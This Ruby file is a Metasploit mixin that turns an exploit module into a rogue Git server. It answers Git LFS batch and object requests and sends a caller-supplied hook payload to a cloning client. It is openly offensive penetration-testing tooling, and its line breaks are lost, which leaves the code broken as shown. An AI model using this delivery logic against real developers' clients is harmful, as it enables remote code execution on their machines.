module Msf # This mixin adds functionality to enable modules to send and receive git LFS objects module Exploit::Git::Lfs include Msf::Exploit::Git def generate_pointer_file(obj_data) return '' if obj_data.empty? <<~PTR_FILE version https://git-lfs.github.com/spec/v1 oid sha256:#{Digest::SHA256.hexdigest(obj_data)} size #{obj_data.length} PTR_FILE end # Generates a Git LFS response to a batch request # # @param [Rex::Proto::Http::Request] the Git LFS request # @param [String] the URL of the Git server # @param [Array] list of objects in Git repo # # @return [Msf::Exploit::Git::Lfs::Response] def get_batch_response(request, server_addr, repo_objects) server_addr = server_addr.to_s unless server_addr.is_a?(String) server_addr = server_addr.gsub(%r{/\w+\.git}, '') repo_objects = [ repo_objects ] unless repo_objects.is_a?(Array) response = Msf::Exploit::Git::Lfs::Response.from_http_request(request, server_addr) return nil unless response unless response.valid_objects?(repo_objects) || response.code != 200 print_error('Client requested objects not in repository') return response end obj_data_arr = [] response.valid_objs.each do |obj| sha = Msf::Exploit::Git::Lfs::Response.obj_sha256(obj.content) time = Time.now + 3600 obj_data_arr << { 'oid' => sha, 'size' => obj.content.size, 'actions' => { 'download' => { 'href' => "#{response.base_addr}/#{sha}", 'expires_at' => time.strftime('%FT%TZ'), 'expires_in' => 3600 } } } end response.body = { 'objects' => obj_data_arr }.to_json response end # Generates a response to a Git LFS object request # # @param [Rex::Proto::Http::Request] Git client request # @param [Array] list of objects in Git repository # # @return [Msf::Exploit::Git::Lfs::Response] def get_requested_obj_response(request, repo_objects) repo_objects = [ repo_objects ] unless repo_objects.is_a?(Array) response = Msf::Exploit::Git::Lfs::Response.from_http_request(request) return nil unless response unless response.valid_objects?(repo_objects) || response.code != 200 print_error('Client requested an object that is not in the repository') return response end response.body = response.valid_objs.first.content response end def handle_lfs_objects(req, hook_payload, git_addr) git_hook_obj = Msf::Exploit::Git::Lfs::GitObject.build_blob_object(hook_payload) case req.method when 'POST' print_status('Sending payload data...') response = get_batch_response(req, git_addr, git_hook_obj) fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response when 'GET' print_status('Sending LFS object...') response = get_requested_obj_response(req, git_hook_obj) fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response else fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request') end response end def send_refs(req) fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack' response = get_ref_discovery_response(req, @refs) fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response response end def send_requested_objs(req) upload_pack_resp = get_upload_pack_response(req, @git_objs) unless upload_pack_resp fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response') end upload_pack_resp end end end